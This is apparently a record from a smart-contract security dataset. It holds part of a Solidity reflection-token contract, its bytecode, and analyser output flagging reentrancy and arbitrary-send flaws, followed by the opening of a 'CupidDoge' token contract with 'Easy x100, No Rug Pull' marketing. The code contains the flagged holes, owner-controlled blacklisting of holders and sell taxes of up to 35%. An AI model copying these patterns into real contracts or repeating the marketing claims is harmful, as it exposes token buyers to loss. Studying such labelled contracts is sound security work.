IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount >= 5000000 * 10**9 ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f0461461057e578063dd62ed3e1461059e578063ea1644d5146105e4578063f2fde38b1461060457600080fd5b8063a2a957bb146104f9578063a9059cbb14610519578063bfd7928414610539578063c3c8cd801461056957600080fd5b80638f70ccf7116100d15780638f70ccf7146104735780638f9a55c01461049357806395d89b41146104a957806398a5c315146104d957600080fd5b80637d1db4a5146103fd5780637f2feddc146104135780638203f5fe146104405780638da5cb5b1461045557600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461039357806370a08231146103a8578063715018a6146103c857806374010ece146103dd57600080fd5b8063313ce5671461031757806349bd5a5e146103335780636b999053146103535780636d8aa8f81461037357600080fd5b80631694505e116101b65780631694505e1461028357806318160ddd146102bb57806323b872dd146102e15780632fd689e31461030157600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461025357600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611aa3565b610624565b005b34801561021557600080fd5b5060408051808201909152600f81526e54454d504c45204f4620534849424160881b60208201525b60405161024a9190611b68565b60405180910390f35b34801561025f57600080fd5b5061027361026e366004611bbd565b6106c3565b604051901515815260200161024a565b34801561028f57600080fd5b506013546102a3906001600160a01b031681565b6040516001600160a01b03909116815260200161024a565b3480156102c757600080fd5b50683635c9adc5dea000005b60405190815260200161024a565b3480156102ed57600080fd5b506102736102fc366004611be9565b6106da565b34801561030d57600080fd5b506102d360175481565b34801561032357600080fd5b506040516009815260200161024a565b34801561033f57600080fd5b506014546102a3906001600160a01b031681565b34801561035f57600080fd5b5061020761036e366004611c2a565b610743565b34801561037f57600080fd5b5061020761038e366004611c57565b61078e565b34801561039f57600080fd5b506102076107d6565b3480156103b457600080fd5b506102d36103c3366004611c2a565b610803565b3480156103d457600080fd5b50610207610825565b3480156103e957600080fd5b506102076103f8366004611c72565b610899565b34801561040957600080fd5b506102d360155481565b34801561041f57600080fd5b506102d361042e366004611c2a565b60116020526000908152604090205481565b34801561044c57600080fd5b506102076108dc565b34801561046157600080fd5b506000546001600160a01b03166102a3565b34801561047f57600080fd5b5061020761048e366004611c57565b610a94565b34801561049f57600080fd5b506102d360165481565b3480156104b557600080fd5b5060408051808201909152600781526654454d504c455360c81b602082015261023d565b3480156104e557600080fd5b506102076104f4366004611c72565b610af3565b34801561050557600080fd5b50610207610514366004611c8b565b610b22565b34801561052557600080fd5b50610273610534366004611bbd565b610b7c565b34801561054557600080fd5b50610273610554366004611c2a565b60106020526000908152604090205460ff1681565b34801561057557600080fd5b50610207610b89565b34801561058a57600080fd5b50610207610599366004611cbd565b610bbf565b3480156105aa57600080fd5b506102d36105b9366004611d41565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105f057600080fd5b506102076105ff366004611c72565b610c60565b34801561061057600080fd5b5061020761061f366004611c2a565b610c8f565b6000546001600160a01b031633146106575760405162461bcd60e51b815260040161064e90611d7a565b60405180910390fd5b60005b81518110156106bf5760016010600084848151811061067b5761067b611daf565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106b781611ddb565b91505061065a565b5050565b60006106d0338484610d79565b5060015b92915050565b60006106e7848484610e9d565b610739843361073485604051806060016040528060288152602001611ef3602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061133b565b610d79565b5060019392505050565b6000546001600160a01b0316331461076d5760405162461bcd60e51b815260040161064e90611d7a565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107b85760405162461bcd60e51b815260040161064e90611d7a565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107f657600080fd5b4761080081611375565b50565b6001600160a01b0381166000908152600260205260408120546106d4906113af565b6000546001600160a01b0316331461084f5760405162461bcd60e51b815260040161064e90611d7a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c35760405162461bcd60e51b815260040161064e90611d7a565b6611c37937e080008110156108d757600080fd5b601555565b6000546001600160a01b031633146109065760405162461bcd60e51b815260040161064e90611d7a565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801561096b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098f9190611df4565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109dc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a009190611df4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a719190611df4565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610abe5760405162461bcd60e51b815260040161064e90611d7a565b601454600160a01b900460ff1615610ad557600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610b1d5760405162461bcd60e51b815260040161064e90611d7a565b601755565b6000546001600160a01b03163314610b4c5760405162461bcd60e51b815260040161064e90611d7a565b60095482111580610b5f5750600b548111155b610b6857600080fd5b600893909355600a91909155600955600b55565b60006106d0338484610e9d565b6012546001600160a01b0316336001600160a01b031614610ba957600080fd5b6000610bb430610803565b905061080081611433565b6000546001600160a01b03163314610be95760405162461bcd60e51b815260040161064e90611d7a565b60005b82811015610c5a578160056000868685818110610c0b57610c0b611daf565b9050602002016020810190610c209190611c2a565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c5281611ddb565b915050610bec565b50505050565b6000546001600160a01b03163314610c8a5760405162461bcd60e51b815260040161064e90611d7a565b601655565b6000546001600160a01b03163314610cb95760405162461bcd60e51b815260040161064e90611d7a565b6001600160a01b038116610d1e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161064e565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610ddb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161064e565b6001600160a01b038216610e3c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161064e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f015760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161064e565b6001600160a01b038216610f635760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161064e565b60008111610fc55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161064e565b6000546001600160a01b03848116911614801590610ff157506000546001600160a01b03838116911614155b1561123457601454600160a01b900460ff1661108a576000546001600160a01b0384811691161461108a5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161064e565b6015548111156110dc5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161064e565b6001600160a01b03831660009081526010602052604090205460ff1615801561111e57506001600160a01b03821660009081526010602052604090205460ff16155b61112757600080fd5b6014546001600160a01b0383811691161461115d576016548161114984610803565b6111539190611e11565b1061115d57600080fd5b600061116830610803565b6017546015549192508210159082106111815760155491505b8080156111985750601454600160a81b900460ff16155b80156111b257506014546001600160a01b03868116911614155b80156111c75750601454600160b01b900460ff165b80156111ec57506001600160a01b03851660009081526005602052604090205460ff16155b801561121157506001600160a01b03841660009081526005602052604090205460ff16155b156112315761121f82611433565b47801561122f5761122f47611375565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061127657506001600160a01b03831660009081526005602052604090205460ff165b806112a857506014546001600160a01b038581169116148015906112a857506014546001600160a01b03848116911614155b156112b55750600061132f565b6014546001600160a01b0385811691161480156112e057506013546001600160a01b03848116911614155b156112f257600854600c55600954600d555b6014546001600160a01b03848116911614801561131d57506013546001600160a01b03858116911614155b1561132f57600a54600c55600b54600d555b610c5a848484846115ad565b6000818484111561135f5760405162461bcd60e51b815260040161064e9190611b68565b50600061136c8486611e29565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106bf573d6000803e3d6000fd5b60006006548211156114165760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161064e565b60006114206115db565b905061142c83826115fe565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061147b5761147b611daf565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114f89190611df4565b8160018151811061150b5761150b611daf565b6001600160a01b0392831660209182029290920101526013546115319130911684610d79565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061156a908590600090869030904290600401611e40565b600060405180830381600087803b15801561158457600080fd5b505af1158015611598573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b806115ba576115ba611640565b6115c584848461166e565b80610c5a57610c5a600e54600c55600f54600d55565b60008060006115e8611765565b90925090506115f782826115fe565b9250505090565b600061142c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117a7565b600c541580156116505750600d54155b1561165757565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611680876117d5565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116b29087611832565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116e19086611874565b6001600160a01b038916600090815260026020526040902055611703816118d3565b61170d848361191d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161175291815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061178182826115fe565b82101561179e57505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836117c85760405162461bcd60e51b815260040161064e9190611b68565b50600061136c8486611eb1565b60008060008060008060008060006117f28a600c54600d54611941565b92509250925060006118026115db565b905060008060006118158e878787611996565b919e509c509a509598509396509194505050505091939550919395565b600061142c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061133b565b6000806118818385611e11565b90508381101561142c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161064e565b60006118dd6115db565b905060006118eb83836119e6565b306000908152600260205260409020549091506119089082611874565b30600090815260026020526040902055505050565b60065461192a9083611832565b60065560075461193a9082611874565b6007555050565b600080808061195b606461195589896119e6565b906115fe565b9050600061196e60646119558a896119e6565b90506000611986826119808b86611832565b90611832565b9992985090965090945050505050565b60008080806119a588866119e6565b905060006119b388876119e6565b905060006119c188886119e6565b905060006119d3826119808686611832565b939b939a50919850919650505050505050565b6000826000036119f8575060006106d4565b6000611a048385611ed3565b905082611a118583611eb1565b1461142c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161064e565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461080057600080fd5b8035611a9e81611a7e565b919050565b60006020808385031215611ab657600080fd5b823567ffffffffffffffff80821115611ace57600080fd5b818501915085601f830112611ae257600080fd5b813581811115611af457611af4611a68565b8060051b604051601f19603f83011681018181108582111715611b1957611b19611a68565b604052918252848201925083810185019188831115611b3757600080fd5b938501935b82851015611b5c57611b4d85611a93565b84529385019392850192611b3c565b98975050505050505050565b600060208083528351808285015260005b81811015611b9557858101830151858201604001528201611b79565b81811115611ba7576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611bd057600080fd5b8235611bdb81611a7e565b946020939093013593505050565b600080600060608486031215611bfe57600080fd5b8335611c0981611a7e565b92506020840135611c1981611a7e565b929592945050506040919091013590565b600060208284031215611c3c57600080fd5b813561142c81611a7e565b80358015158114611a9e57600080fd5b600060208284031215611c6957600080fd5b61142c82611c47565b600060208284031215611c8457600080fd5b5035919050565b60008060008060808587031215611ca157600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611cd257600080fd5b833567ffffffffffffffff80821115611cea57600080fd5b818601915086601f830112611cfe57600080fd5b813581811115611d0d57600080fd5b8760208260051b8501011115611d2257600080fd5b602092830195509350611d389186019050611c47565b90509250925092565b60008060408385031215611d5457600080fd5b8235611d5f81611a7e565b91506020830135611d6f81611a7e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611ded57611ded611dc5565b5060010190565b600060208284031215611e0657600080fd5b815161142c81611a7e565b60008219821115611e2457611e24611dc5565b500190565b600082821015611e3b57611e3b611dc5565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e905784516001600160a01b031683529383019391830191600101611e6b565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611ece57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611eed57611eed611dc5565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220136f8c69e70a9deb386d196a6957ec640b3094f855fa13b5a1fc39855e869a4c64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
9,521
0x6f8b9fcc3cdac8d365d2f4f0af8f19f7225e3d62
/** *Submitted for verification at Etherscan.io on 2021-07-17 */ /** * CupidDoge totalSupply : 1,000,000,000,000 liquidity : 60% totalBurn : 35% Marketing : 3% team dev : 2% ***** I will add 2 ETH to the Liquidity ***** * // FAIRLAUNCH // Easy x100 // Liquidity pool locked // Renounce // Contract verified on Etherscan * No Rug Pull * Anti whales * No presale * 100% Community-driven tg: https://t.me/CupiddogeXX * SPDX-License-Identifier: UNLICENSED * */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool) ; function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract CupidDoge is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _friends; mapping (address => User) private trader; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode" Cupid Doge "; string private constant _symbol = unicode" CD "; uint8 private constant _decimals = 9; uint256 private _taxFee = 5; uint256 private _teamFee = 5; uint256 private _feeRate = 5; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; address payable private _marketingWalletAddress; address payable private _marketingFixedWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; uint256 private launchBlock = 0; uint256 private buyLimitEnd; struct User { uint256 buyCD; uint256 sellCD; uint256 lastBuy; uint256 buynumber; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress, address payable marketingFixedWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _marketingFixedWalletAddress = marketingFixedWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; _isExcludedFromFee[marketingFixedWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { require(!_friends[from] && !_friends[to]); if (block.number <= launchBlock + 1 && amount == _maxBuyAmount) { if (from != uniswapV2Pair && from != address(uniswapV2Router)) { _friends[from] = true; } else if (to != uniswapV2Pair && to != address(uniswapV2Router)) { _friends[to] = true; } } if(!trader[msg.sender].exists) { trader[msg.sender] = User(0,0,0,0,true); } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); if(block.timestamp > trader[to].lastBuy + (30 minutes)) { trader[to].buynumber = 0; } if (trader[to].buynumber == 0) { trader[to].buynumber++; _taxFee = 5; _teamFee = 5; } else if (trader[to].buynumber == 1) { trader[to].buynumber++; _taxFee = 4; _teamFee = 4; } else if (trader[to].buynumber == 2) { trader[to].buynumber++; _taxFee = 3; _teamFee = 3; } else if (trader[to].buynumber == 3) { trader[to].buynumber++; _taxFee = 2; _teamFee = 2; } else { //fallback _taxFee = 5; _teamFee = 5; } trader[to].lastBuy = block.timestamp; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(trader[to].buyCD < block.timestamp, "Your buy cooldown has not expired."); trader[to].buyCD = block.timestamp + (45 seconds); } trader[to].sellCD = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(_cooldownEnabled) { require(trader[from].sellCD < block.timestamp, "Your sell cooldown has not expired."); } uint256 total = 35; if(block.timestamp > trader[from].lastBuy + (3 hours)) { total = 10; } else if (block.timestamp > trader[from].lastBuy + (1 hours)) { total = 15; } else if (block.timestamp > trader[from].lastBuy + (30 minutes)) { total = 20; } else if (block.timestamp > trader[from].lastBuy + (5 minutes)) { total = 25; } else { //fallback total = 35; } _taxFee = (total.mul(4)).div(10); _teamFee = (total.mul(6)).div(10); if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(4)); _marketingFixedWalletAddress.transfer(amount.div(4)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 